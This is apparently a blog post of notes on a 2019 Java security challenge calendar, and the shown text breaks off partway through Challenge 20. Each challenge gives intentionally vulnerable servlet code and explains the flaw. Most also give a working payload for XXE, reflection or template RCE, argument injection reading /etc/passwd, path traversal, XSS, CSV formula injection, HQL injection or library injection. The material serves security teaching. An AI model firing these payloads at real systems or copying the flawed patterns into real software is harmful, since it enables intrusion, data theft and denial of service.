Home RipsTech Java Security Calendar 2019 Notes
Post
Cancel

RipsTech Java Security Calendar 2019 Notes

Notes related to RipsTech PHP Security Calendar 2019 which aren’t accessible anymore.

Challenge 1 - Candy Cane

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.jdom2.Content;
import org.jdom2.Document;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;

public class ImportDocument {
  // This function extracts the text of an OpenOffice document
  public static String extractString() throws IOException, JDOMException {
    File initialFile = new File("uploaded_office_doc.odt");
    InputStream in = new FileInputStream(initialFile);
    final ZipInputStream zis = new ZipInputStream(in);
    ZipEntry entry;
    List<Content> content = null;
    while ((entry = zis.getNextEntry()) != null) {
      if (entry.getName().equals("content.xml")) {
        final SAXBuilder sax = new org.jdom2.input.SAXBuilder();
        sax.setFeature("http://javax.xml.XMLConstants/feature/secure-processing",true);
        Document doc = sax.build(zis);
        content = doc.getContent();
        zis.close();
        break;
      }
    }
    StringBuilder sb = new StringBuilder();
    if (content != null) {
      for(Content item : content){
        sb.append(item.getValue());
      }
    }
    return sb.toString();
  }
}
  • The extractString function opens an OpenOffice document uploaded by an attacker to extract its text.
  • OpenOffice documents are ZIP files containing multiple resources.
  • One of these resources is content.xml, which holds the text information in XML format.
  • The file content.xml is processed by the method org.jdom2.input.SAXBuilder.build(), which is vulnerable to XXE injection.
  • The XXE vulnerability can be exploited by adding a malicious DOCTYPE declaration to the XML document.
  • The XXE entity can reference sensitive files, such as /etc/passwd, and insert their contents into the document.

Example payload:

1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT text ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

Challenge 2 - Eggnog Madness

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.json.*;

public class MainController{
  private static String[] parseJsonAsArray(String rawJson, String field) {
    JSONObject obj = new JSONObject(rawJson);
    JSONArray arrJson = obj.getJSONArray(field);
    String[] arr = new String[arrJson.length()];
    for (int i = 0; i < arrJson.length(); i++) {
      arr[i] = arrJson.getString(i);
    }
    return arr;
  }

  private static String parseJsonAsString(String rawJson, String field) {
    JSONObject obj = new JSONObject(rawJson);
    return obj.getString(field);
  }

  // rawJson is user-controlled.
  public MainController(String rawJson) {
    this(parseJsonAsString(rawJson, "controller"), parseJsonAsString(rawJson, "task"), parseJsonAsArray(rawJson, "data"));
  }

  private MainController(String controllerName, String task, String... data) {
    try {
      Object controller = !controllerName.equals("MainController") ? Class.forName(controllerName).getConstructor(String[].class).newInstance((Object) data) : this;
      System.out.println(controller.getClass().getMethod(task));
      controller.getClass().getMethod(task).invoke(controller);
    } catch (Exception e1) {
      try {
        String log = "# [ERROR] Exception with data: " + data + " with exception " + e1;
        System.err.println(log);
        // DONE: VulnApp Security Bug #23517: Strip all "dots" so file extension does not lead to RCE
        Runtime.getRuntime().exec(new String[]{"java", "-jar", "log4j_custom_dlogger.jar", log.replaceAll(".", "")});
        // TODO: VulnApp Bug #24630: Logging is currently not working in v1.8,
        //       something with an ArgumentException, please have alook at that @peter
      } catch (Exception e2) {
        System.err.println("FATAL ERROR: " + e2);
      }
    }
  }
}
  • The rawJson parameter in line 20 is user-controlled and parsed as JSON.
  • Data extracted from the JSON string is passed to the second constructor in line 21.
  • The parameters controllerName and data can be exploited to instantiate any object and control the first parameter of a constructor in line 26.
  • In line 28, the task parameter is used as a function name executed on the previously created object.
  • This allows an attacker to instantiate objects, control the constructor’s first argument, and invoke any parameterless function.
  • For exploitation, an attacker can create a ProcessBuilder with a shell command like touch hacked.jsp and then call the start() function to execute the command: rawJson={"controller":"java.lang.ProcessBuilder","task":"start","data":["touch","hacked.jsp"]}
  • The “logging” code in line 31 is a distraction and not vulnerable.

Challenge 3 - Christmas Carols

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.VelocityContext;
import java.util.HashMap;
import java.util.Map;

public class TemplateRenderer {
  private final VelocityEngine velocity;

  public String renderFragment(String fragment, Map<String,Object> contextParameters) {
    velocity = new VelocityEngine();
    velocity.init();
    VelocityContext context =  new VelocityContext(contextParameters);
    StringWriter tempWriter = new StringWriter(fragment.length());
    velocity.evaluate(context, tempWriter, "renderFragment", fragment);
    return tempWriter.toString();
  }

  public String render(HttpServletRequest req, HttpServletResponse res) {
    Map<String, Object> hm = new HashMap<String, Object>();
    hm.put("user", req.getParameter("user"));
    String template = req.getParameter("temp");
    String rendered = renderFragment(template,hm);
    res.getWriter().println(rendered);
  }
}
  • A temp parameter is received and passed to renderFragment().
  • The fragment argument leads to a Code Injection vulnerability in the Velocity template.
  • The fragment (template) is evaluated as Java code by Velocity.
  • Direct Java code execution is limited.
  • Java reflection can be used to access Java classes and execute shell commands.
1
2
3
user=&temp=#set($s="")#set($stringClass=$s.getClass()
   .forName("java.lang.Runtime").getRuntime()
   .exec("touch hacked.jsp"))$stringClass

Challenge 4 - Father Christmas

1
2
3
4
5
6
7
8
9
10
11
12
import javax.servlet.http.*;

public class Login extends HttpServlet {
  protected void doPost(HttpServletRequest request,
                        HttpServletResponse response) {
    String url = request.getParameter("url");
    //only relative urls are allowed!
    if (url.startsWith("/")) {
      response.sendRedirect(url);
    }
  }
}
  • This code challenge receives user input via the GET or POST parameter url.
  • The url parameter can be used to exploit an open redirect vulnerability.
  • The redirect happens if url starts with /.
  • However, a URI starting with 2 slashes ( //attacker.org ) is not a relative URI but an absolute URI without a scheme. Therefore, the intended check if the URI is relative can be bypassed with the url parameter //attacker.org.
  • As a result, the server redirects the victim to attacker.org.

Challenge 5 - WinterTime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import javax.servlet.http.HttpServletRequest;
import java.util.Enumeration;

public class Request {
  public static String toString(HttpServletRequest req) {
    StringBuilder sb = new StringBuilder();
    String delimiter = req.getParameter("delim");
    Enumeration<String> names = req.getParameterNames();
    while (names.hasMoreElements()) {
      String name = names.nextElement();
      if (!name.equals("delim")) {
        sb.append("<b>" + name + "</b>:<br>");
        String[] values = req.getParameterValues(name);
        for (String val : values) {
          sb.append(val);
          sb.append(delimiter);
          sb.append("<br>");
        }
      }
    }
    return sb.toString();
  }
}
  • The function toString iterates over HTTP parameters and formats them into HTML representation.
  • The value delimiter is received and appended to the StringBuilder instance after each parameter value.
  • A denial of service issue may arise due to the internals of java.util.StringBuilder.
  • The StringBuilder object is initialized with an array of size 16.
  • Each time a new value is appended, the StringBuilder instance checks if the data fits into the array.
  • If not, the size of the array is doubled, leading to large amplification.
  • Apache Tomcat has a 2MB limit for POST requests and a maximum of 10000 parameters.
  • By submitting a large value for parameter delim and multiple HTTP parameters, we can exploit the StringBuilder internals to cause a maximum amplification of ~20000.

Challenge 6 - Yule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.*;
import java.nio.file.*;
import javax.servlet.http.*;

public class ReadFile extends HttpServlet {
  protected void doPost(HttpServletRequest request,
                        HttpServletResponse response) throws IOException {
    try {
      String url = request.getParameter("url");
      String data = new String(Files.readAllBytes(Paths.get(url)));
    } catch (IOException e) {
      PrintWriter out = response.getWriter();
      out.print("File not found");
      out.flush();
    }
    //proceed with code
  }
}
  • Untrusted user input is received from the parameter url.
  • A java.nio.file.Path instance is created from the given value.
  • The contents of the file are read by the method java.nio.file.Files.readAllBytes().
  • This can be used to read arbitrary files through path traversal.
  • The file contents are not reflected in the response.
  • By sending the value /dev/urandom, the application can be interrupted.
  • The method Files.readAllBytes() will not terminate until the Java heap is out of memory.
  • This leads to an infinite file read and memory exhaustion (DoS).
  • The IOException handler does not catch this issue.

Challenge 7 - Jingle Bells

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import com.fasterxml.jackson.core.*;
import javax.servlet.http.*;
import java.io.*;

public class ApiCache extends HttpServlet {
  protected void doPost(HttpServletRequest request,
                        HttpServletResponse response) throws IOException {
    storeJson(request, "/tmp/getUserInformation.json");
  }

  protected void doGet(HttpServletRequest request,
                       HttpServletResponse response) {
    loadJson();
  }

  public static void loadJson() {
      // Deserialize to an HashMap object with Jackson's JsonParser and read the first 2 entries of the file.
  }

  public static void storeJson(HttpServletRequest request, String filename) throws IOException {
    JsonFactory jsonobject = new JsonFactory();
    JsonGenerator jGenerator = jfactory.createGenerator(new File(filename), JsonEncoding.UTF8);
    jGenerator.writeStartObject();
    jGenerator.writeFieldName("username");
    jGenerator.writeRawValue("\"" + request.getParameter("username") + "\"");
    jGenerator.writeFieldName("permission");
    jGenerator.writeRawValue("\"none\"");
    jGenerator.writeEndObject();
    jGenerator.close();
  }
}
  • The username parameter is user-controlled and flows into jGenerator.writeRawValue() without sanitization.
  • An attacker could inject the payload ?username=foo”,”permission”:”all.
  • This results in a JSON object with duplicate keys: “permission”:”all” and “permission”:”none”.
  • If the JSON object is deserialized in method loadJson() and the method only deserializes the first occurrence of each key, the user foo can escalate privileges to “all”.
  • Successful exploitation depends on the implementation of loadJson().

Challenge 8 - Icicles

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.File;
import javax.servlet.http.*;

public class GetPath extends HttpServlet {
  protected void doGet(HttpServletRequest request,
                       HttpServletResponse response) throws IOException {
    try {
      String icons = request.getParameter("icons");
      String filename = request.getParameter("filename");

      File f_icons = new File(icons);
      File f_filename = new File(filename);

      if (!icons.equals(f_icons.getName())) {
        throw new Exception("File not within target directory!");
      }

      if (!filename.equals(f_filename.getName())) {
        throw new Exception("File not within target directory!");
      }

      String toDir = "/var/myapp/data/" + f_icons.getName() + "/";
      File file = new File(toDir, filename);

      // Download file...
    } catch(Exception e) {
      response.sendRedirect("/");
    }
  }
}
  • The parameter icons flows into a File object.
  • It is validated and concatenated into a file path.
  • The check in line 14 tries to prevent path traversal by comparing the file name to the parameter icons.
  • The method getName() turns input like /../../../foo.txt into foo.txt, preventing simple path traversal.
  • However, input like .. is not removed by getName().
  • This allows bypassing the security check.
  • In combination with the parameter filename, we can traverse one directory level higher and download arbitrary files.

Challenge 9 - Chestnuts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.*;
import java.util.regex.*;
import javax.servlet.http.*;

public class Validator extends HttpServlet {
  protected void doPost(HttpServletRequest request,
                        HttpServletResponse response) throws IOException {
    response.setContentType("text/plain");
    response.setCharacterEncoding("UTF-8");

    PrintWriter out = response.getWriter();
    if (isInWhiteList(request.getParameter("whitelist"), request.getParameter("value"))) {
      out.print("Value is in whitelist.");
    } else {
      out.print("Value is not in whitelist.");
    }
    out.flush();
  }

  public static boolean isInWhiteList(String whitelist, String value) {
    Pattern pattern = Pattern.compile("^[" + whitelist + "]+");
    Matcher matcher = pattern.matcher(value);
    return matcher.matches();
  }
}
  • The parameter whitelist controls a part of the regular expression pattern.
  • The parameter value is validated against this expression.
  • We can inject an arbitrary expression and control the value it’s matched against.
  • This allows us to produce heavy CPU consumption with a complex regular expression (ReDoS).
  • This can lead to CPU exhaustion and a DoS, especially in Java 8.
  • Proof of Concept: whitelist=x]|((((a+)+)+)+)&value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Challenge 10 - Anticipation

1
2
3
4
5
6
7
8
9
10
@RequestMapping("/webdav")
  public void webdav(HttpServletResponse res, @RequestParam("name") String name) throws IOException {
    res.setContentType("text/xml");
    res.setCharacterEncoding("UTF-8");
    PrintWriter pw = res.getWriter();
    name = name.replace("]]", "");
    pw.print("<person>");
    pw.print("<name><![CDATA[" + name.replace(" ","") + "]]></name>");
    pw.print("</person>");
  }
  • User input from parameter “name” is mapped to function parameter “name” via @RequestParam.
  • The response Content-Type is set to text/xml.
  • Untrusted user input can be injected into the XML response, leading to XSS.
  • The attacker injects a script tag with the “http://www.w3.org/1999/xhtml” namespace.
  • Escaping the CDATA element is bypassed with a space between “]]”.
  • Tabs are used for other spaces needed in the payload.
  • The provided payload demonstrates exploiting this vulnerability.

The following payload can be used to exploit this challenge:

1
test] ]><something%3Ascript%09xmlns%3Asomething%3D"http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml">alert(1)<%2Fsomething%3Ascript><![CDATA[

Challenge 11 - Carolers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import javax.servlet.http.*;
import java.io.*;
import java.nio.file.Files;
import org.apache.commons.compress.archivers.ArchiveStreamFactory;
import org.apache.commons.compress.archivers.tar.*;
import org.apache.commons.io.IOUtils;

public class ExtractFiles extends HttpServlet {
  private static void extract() throws Exception {
    // /tmp/uploaded.tar is user controlled and an uploaded file.
    final InputStream is = new FileInputStream(new File("/tmp/uploaded.tar"));
    final TarArchiveInputStream tarInputStream = (TarArchiveInputStream) (new ArchiveStreamFactory().createArchiveInputStream(ArchiveStreamFactory.TAR, is));
    File tmpDir = Files.createTempDirectory("test").toFile();
    TarArchiveEntry entry;
    while ((entry = tarInputStream.getNextTarEntry()) != null) {
      File file = new File(tmpDir, entry.getName().replace("../", ""));
      if (entry.isDirectory()) {
        file.mkdirs();
      } else {
        IOUtils.copy(tarInputStream, new FileOutputStream(file));
      }
    }
    is.close();
    tarInputStream.close();
  }
}
  • The code extracts a TAR file into a temporary directory.
  • The user controls the contents of /tmp/uploaded.tar.
  • A TAR file is an archive of files and folders, each represented by a TarArchiveEntry object.
  • The attacker can control the filename of a TarArchiveEntry using TarArchiveEntry.getName().
  • The user input reaches the sensitive sink java.io.File in line 16.
  • This can lead to a path traversal (zip slip) attack.
  • The sanitization in line 16 is insufficient, as it only removes ../.
  • The following payload can bypass the sanitization on a Linux system with a Tomcat server: ..././..././..././..././..././var/tomcat/webapps/ROOT/index.jsp

Challenge 12 - Evergreen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
index.jsp

<%@ page import="org.owasp.esapi.ESAPI" %>
<%! String customClass = "default"; %>
<html><body><%@ include file="init.jsp" %>

<div class="<%= customClass %>">
  <%! String username; %>
  <% username = request.getParameter("username"); %>
  Welcome citizen, you have been identified as
  <%
    customClass = request.getParameter("customClass");
    customClass = ESAPI.encoder().encodeForHTML(customClass);
  %>
  <div class="<%= customClass %>">
  <%= ESAPI.encoder().encodeForHTML(username) %>.
</div></div></body></html>

init.jsp
<% customClass = request.getParameter("customClass"); %>

  • A class is dynamically assigned to a div element in line 5.
  • The class is derived from the customClass variable.
  • customClass is initially set to “default” but is overwritten by the contents of init.jsp.
  • init.jsp fetches user input and assigns it directly to customClass without sanitization.
  • This allows an attacker to control the class attribute of the div element.
  • A simple double quote can be used to break out of the attribute.
  • Other user input instances are properly sanitized with an ESAPI encoder.

Challenge 13 - Epiphany

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import javax.servlet.http.*;
import java.io.*;
import java.util.List;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;

public class UploadFileController extends HttpServlet {
  protected void doPost(HttpServletRequest request,
                        HttpServletResponse response) throws IOException {
    DiskFileItemFactory factory = new DiskFileItemFactory();
    factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
    ServletFileUpload upload = new ServletFileUpload(factory);

    String uploadPath = getServletContext().getRealPath("") + "upload";
    File uploadDir = new File(uploadPath);
    if (!uploadDir.exists()) {
      uploadDir.mkdir();
    }
    try {
      List<FileItem> items = upload.parseRequest(request);
      if (items != null && items.size() > 0) {
        for (FileItem item : items) {
          if (!item.isFormField()) {
            if (!(item.getContentType().equals("text/plain"))) {
              throw new Exception("ContentType mismatch");
            }
            String file = uploadPath + File.separator + item.getName();
            File storeFile = new File(file);
            item.write(storeFile);
          }
        }
      }
    } catch (Exception ex) {
      response.sendRedirect("/");
    }
  }
}
  • The challenge involves a multi-part file upload.
  • The uploaded file must have a content type of text/plain.
  • A content type check is in place to prevent dangerous file uploads (line 26).
  • However, the attacker controls the content type and can easily bypass the check.
  • The filename of the uploaded file is also user-controlled (line 28).
  • This leads to a Path Traversal vulnerability due to the acceptance of /../ in filenames.
  • By combining the content type bypass and Path Traversal, an attacker can upload arbitrary files and execute remote commands.
1
2
Content-Disposition: form-data; name="uploadFile"; filename="../../../hacked.jsp"
Content-Type: text/plain

Challenge 14 - Chimney

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import java.io.PrintWriter;
import java.util.*;
import javax.servlet.http.*;

public class Export extends HttpServlet {
  protected void doPost(HttpServletRequest request,
                        HttpServletResponse response) throws IOException {
    response.setContentType("text/csv");
    response.setCharacterEncoding("UTF-8");
    PrintWriter out = response.getWriter();

    String content = buildCSV(request);
    out.print(content);
    out.flush();
  }

  public String buildCSV(HttpServletRequest request) {
    {
      StringBuilder str = new StringBuilder();

      List<List<String>> rows = Arrays.asList(
        Arrays.asList("Scott", "editor", request.getParameter("description"))
      );

      str.append("Name");
      str.append(",");
      str.append("Role");
      str.append(",");
      str.append("Description");
      str.append("\n");

      for (List<String> rowData : rows) {
        str.append(String.join(",", rowData));
        str.append("\n");
      }

      return str.toString();
    }
  }
}
  • The servlet exports a CSV file containing unfiltered user input.
  • This leads to a Formula Injection vulnerability.
  • The description parameter (line 22) is directly added to the StringBuilder in line 33 without sanitization.
  • An attacker can inject a payload like =cmd|'C calc.exe'!Z0 via the description parameter.
  • This results in a CSV file with malicious formulas that can execute commands.

Challenge 15 - Mistletoe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import org.apache.commons.io.IOUtils;
import javax.servlet.http.*;
import java.io.*;
import java.util.*;

public class FindOnSystem extends HttpServlet {
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
    try {
      String[] binary = {"find", ".", "-type", "d"};
      ArrayList<String> cmd = new ArrayList<>(Arrays.asList(binary));

      String[] options = request.getParameter("options").split(" ");
      for (String i : options) {
        cmd.add(i);
      }

      ProcessBuilder processBuilder = new ProcessBuilder(cmd);
      Process process = processBuilder.start();
      IOUtils.copy(process.getInputStream(),response.getOutputStream());
    } catch(Exception e) {
      response.sendRedirect("/");
    }
  }
}
  • The servlet uses the find system command to list directories.
  • This exposes directory information, leading to an information leak.
  • The base command is find . -type d (lines 9-10).
  • User-controlled options are appended to the command (lines 12-15).
  • The command is executed using java.lang.ProcessBuilder (lines 17-18).
  • While direct command injection is not possible, an Argument Injection vulnerability exists.
  • The -exec parameter can be injected to execute arbitrary commands.
  • A payload like ?options=-exec cat /etc/passwd ; leads to the execution of find . -type d -exec cat /etc/passwd ;.

Challenge 16 - Candles

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.Serializable;
import javax.persistence.*;

@Entity
@DynamicUpdate
@Table(name = "UserEntity", uniqueConstraints = {
        @UniqueConstraint(columnNames = "ID"),
        @UniqueConstraint(columnNames = "EMAIL") })
public class UserEntity implements Serializable {
  public UserEntity(String email, String firstName, String lastName) {
    this.email = email;
    this.firstName = firstName;
    this.lastName = lastName;
  }

  private static final long serialVersionUID = -1798070786993154676L;

  @Id
  @GeneratedValue(strategy = GenerationType.IDENTITY)
  @Column(name = "ID", unique = true, nullable = false)
  private Integer userId;

  @Column(name = "EMAIL", unique = true, nullable = false, length = 100)
  private String email;

  @Column(name = "FIRST_NAME", unique = false, nullable = false, length = 100)
  private String firstName;

  @Column(name = "LAST_NAME", unique = false, nullable = false, length = 100)
  private String lastName;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.hibernate.*;
import org.springframework.web.bind.annotation.RequestParam;

public class FindController {
  public String escapeQuotes(String in){
    return in.replaceAll("'","''");
  }

  @RequestMapping("/findUsers")
  public void findUsers(@RequestParam(name="name") String name, HttpServletResponse res) throws IOException{
    Configuration config = new Configuration();
    // Create SessionFactory with MySQL driver
    SessionFactory sessionFactory = config.configure().buildSessionFactory();
    Session session = sessionFactory.openSession();
    List <UserEntity> users = session.createQuery("from UserEntity where FIRST_NAME ='" + escapeQuotes(name) + "'", UserEntity.class).list();
    res.getWriter().println("Found " + users.size() + " Users with that name");
  }
}
  • User input is received via the @RequestParam annotation and mapped to the name parameter of the findUsers method.
  • A Hibernate Session is created using the MySQL driver.
  • A HQL query is executed to retrieve UserEntity objects based on a user-supplied filter.
  • The escapeQuotes method is used to escape single quotes within the string literal.
  • However, the escaping is insufficient to prevent HQL injection.
  • An attacker can inject a payload like test\' or 1=sleep(1) -- - to bypass the escaping.
  • This payload allows the execution of arbitrary MySQL queries.
  • The injected query will be sent to the database: ... where FIRST_NAME='test\'' or 1=sleep(5)-- -'.

Challenge 17 - Carol Singers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.*;
import java.util.regex.Pattern;
import javax.servlet.http.*;

public class JavaDeobfuscatorStartupController extends HttpServlet {
  private static boolean isInBlacklist(String input) {
    String[] blacklist = {"java","os","file"};
    return Arrays.asList(blacklist).contains(input);
  }

  private static void setEnv(String key, String value) {
    String[] values = key.split(Pattern.quote("."));
    if (isInBlacklist(values[0])) {
      return;
    }

    List<String> list = new ArrayList<>(Arrays.asList(values));
    list.removeAll(Arrays.asList("", null));
    String property = String.join(".", list);
    System.setProperty(property, value);
  }

  private static void loadEnv(HttpServletRequest request) {
    Cookie[] cookies = request.getCookies();
    for (int i = 0; i < cookies.length; i++)
      if (cookies[i].getName().equals("env")) {
        String[] tmp = cookies[i].getValue().split("@", 2);
        setEnv(tmp[0], tmp[1]);
      }
    }

  private static void uploadFile() {
    // Secure file upload with arbitrary content type and extension in known path /var/myapp/data
  }

  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
    loadEnv(request);
    try {
      final Field sysPathsField = ClassLoader.class.getDeclaredField("sys_paths");
      sysPathsField.setAccessible(true);
      sysPathsField.set(null, null);
      System.loadLibrary("DEOBFUSCATION_LIB");
    } catch (Exception e) {
      response.sendRedirect("/");
    }
  }
}
  • The loadEnv method (line 39) processes the user-controlled cookie env (lines 26-29).
  • Inside loadEnv, setEnv is called with user-controlled key/value pairs (line 30).
  • The key is split by “.” and a blacklist check is done on the first element (line 15) to prevent setting system properties like java.
  • The blacklist check can be bypassed with a payload like .java.xxx.
  • Only the first element is checked, and empty strings are allowed (line 9/10).
  • After the check, empty values are removed and the remaining parts are joined with “.” again (line 20).
  • The attacker’s goal is to set java.library.path (line 22) to /var/myapp/data for Library Injection.
  • This path allows uploading a malicious library named libDEOBFUSCATION_LIB.so (line 34).
  • The library filename needs the prefix “lib” and suffix “.so” for System.loadLibrary to load it (line 44).
  • POC: 1. Upload file: curl -v -F ‘upload=@/tmp/libDEOBFUSCATION_LIB.so’ http://victim.org/`
  • POC 2. Load malicious library: curl -v --cookie 'env=.java.library.path@/var/myapp/data'

Challenge 18 - Reindeer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import org.apache.tomcat.util.http.fileupload.IOUtils;
import javax.servlet.http.*;
import java.util.HashMap;

public class LoadConfig extends HttpServlet {
  public static HashMap<String, String> parseRequest(String value) {
    HashMap<String, String> result = new HashMap<String, String>();
    if (value != null) {
      String tmp[] = value.split("@");
      for (int i = 0; i < tmp.length; i = i + 2) {
        result.put(tmp[i], tmp[i + 1]);
      }
    }
    return result;
  }

  protected void doGet(HttpServletRequest request, HttpServletResponse response) {
    if (request.getParameter("home") != null) {
      HttpSession session = request.getSession(true);
      if (!session.isNew()){
        if (validBasicAuthHeader()) { // Checks the Basic Authorization header (password check)
          // Execute last command:
          ProcessBuilder processBuilder = new ProcessBuilder();
          processBuilder.command((String)session.getAttribute("last_command"));
          try {
            Process process = processBuilder.start();
            IOUtils.copy(process.getInputStream(), response.getOutputStream());
          }
          catch (Exception e){
            return;
          }
        }
      }
    } else if (request.getParameter("save_session") != null) {
      String value = request.getParameter("config");
      HashMap<String, String> config = parseRequest(value);
      for (String i : config.keySet()) {
        Cookie settings = new Cookie(i, config.get(i));
        response.addCookie(settings);
      }
    } else {
      HttpSession session = request.getSession(true);
      if (session.isNew()) {
        HashMap<String, String> whitelist = new HashMap<String, String>();
        whitelist.put("home", "yes");
        whitelist.put("role", "frontend");

        String value = request.getParameter("config");
        HashMap<String, String> config = parseRequest(value);

        whitelist.putAll(config);
        for (String i : whitelist.keySet()) {
          session.setAttribute(i, whitelist.get(i));
        }
      }
    }
  }
}
  • The code is vulnerable to both Session Fixation and Command Injection.
  • Upon visiting the application, a new session is created with user-controlled session variables (lines 43-54).
  • Attackers can manipulate these variables by providing key-value pairs in the config parameter (line 49).
  • This allows them to control their own session variables, including setting "last_command".
  • However, a password is required via the authorization header for command execution (lines 21, 23-26).
  • Leveraging the Session Fixation vulnerability (lines 35-39), an attacker can hijack the admin’s session.
  • This is achieved by sending a link with config set to a specific session ID (e.g., curl "http://victim.org/?config=JSESSIONID@D4E9132DB9703009B1C932E7C37286ED").
  • With the admin’s session hijacked, the attacker can execute their previously stored shell command via last_command without needing the password.

Challenge 19 - Gingerbread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import javax.script.ScriptEngineManager;
import javax.servlet.http.*;
import javax.script.ScriptEngine;
import java.io.IOException;
import java.util.regex.*;

public class RenderExpression extends HttpServlet {
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
    try {
      ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
      ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");

      String dynamiceCodeHere = request.getParameter("p");
      if (!dynamiceCodeHere.startsWith("\"")) {
        throw new Exception();
      }

      Pattern p = Pattern.compile("([^\".()'\\/,a-zA-z\\s\\\\])|(processbuilder|file|url|runtime|getclass|forname|loadclass|new\\s)");
      Matcher m = p.matcher(dynamiceCodeHere.toLowerCase());
      if (m.find()) {
        throw new Exception();
      }

      scriptEngine.eval(dynamiceCodeHere);
      // Proceed
    } catch(Exception e) {
      response.sendRedirect("/");
    }
  }
}
  • The parameter p is received in line 13 and evaluated in line 24, triggering an Expression Language Injection (ELI) vulnerability.
  • To prevent ELI, a check for quotes is implemented (lines 14-16) as strings usually start with quotes in this language.
  • Additionally, a regular expression blacklist is applied (lines 18-22) to block dangerous classes and constructs used for code execution.
  • However, the blacklist can be bypassed due to Java’s flexibility.
  • Reflection can be used to call the javax.scripts.ScriptEngineManager class, bypassing the blacklist.
  • While eval expects a string, the string can be encoded for code injection.
  • A possible payload exploiting reflection and string encoding could look like this:
1
victim.org/?p="".equals(javax.script.ScriptEngineManager.class.getConstructor().newInstance().getEngineByExtension("js").eval("java.lang.Runtime.getRuntime().exec(\"touch /tmp/owned.jsp\")".replaceAll("A","R")))

Challenge 20 - Ornaments

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import javax.naming.*;
import javax.naming.directory.*;
import java.util.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.*;

public class UserController extends HttpServlet {
  // This token is SHA-256(createTimestamp of admin user)
  private static final String api_token = "1c4e98fc43d0385e67cd6de8c32f969f371eba8ab84053858b5bfd21a2adb471";

  private static void executeCommand(String user_token, String[] cmd) {
    if (user_token.equals(api_token)) {
      // Execute shell command
    }
  }

  /**
   * Current attributes of objectClass "simpleSecurityObject":
   * createtimestamp, creatorsname, dn, entrycsn, entrydn, entryuuid, objectclass, userpassword, uuid
   */
  private static DirContext initLdap() throws NamingException {
    Hashtable<String, Object> env = new Hashtable<String, Object>();
    env.put(Context.SECURITY_AUTHENTICATION, "simple");
    env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=example,dc=org");
    env.put(Context.SECURITY_CREDENTIALS, "admin");
    env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
    env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:389/");
    return new InitialDirContext(env);
  }

  private static boolean userExists(DirContext ctx, String username) throws Exception {
    String[] security_blacklist = {"uuid", "userpassword", "surname", "mail", "givenName", "name", "cn", "sn", "objectclass", "|", "&"};
    for (String name : security_blacklist) {
      if (username.contains(name)) {
        throw new Exception();
      }
    }

    String searchFilter = "(&(objectClass=simpleSecurityObject)(uid="+username+"))";
    SearchControls searchControls = new SearchControls();
    searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
    NamingEnumeration<SearchResult> results = ctx.search("dc=example,dc=org", searchFilter, searchControls);
    if (results.hasMoreElements()) {
      SearchResult searchResult = (SearchResult) results.nextElement();
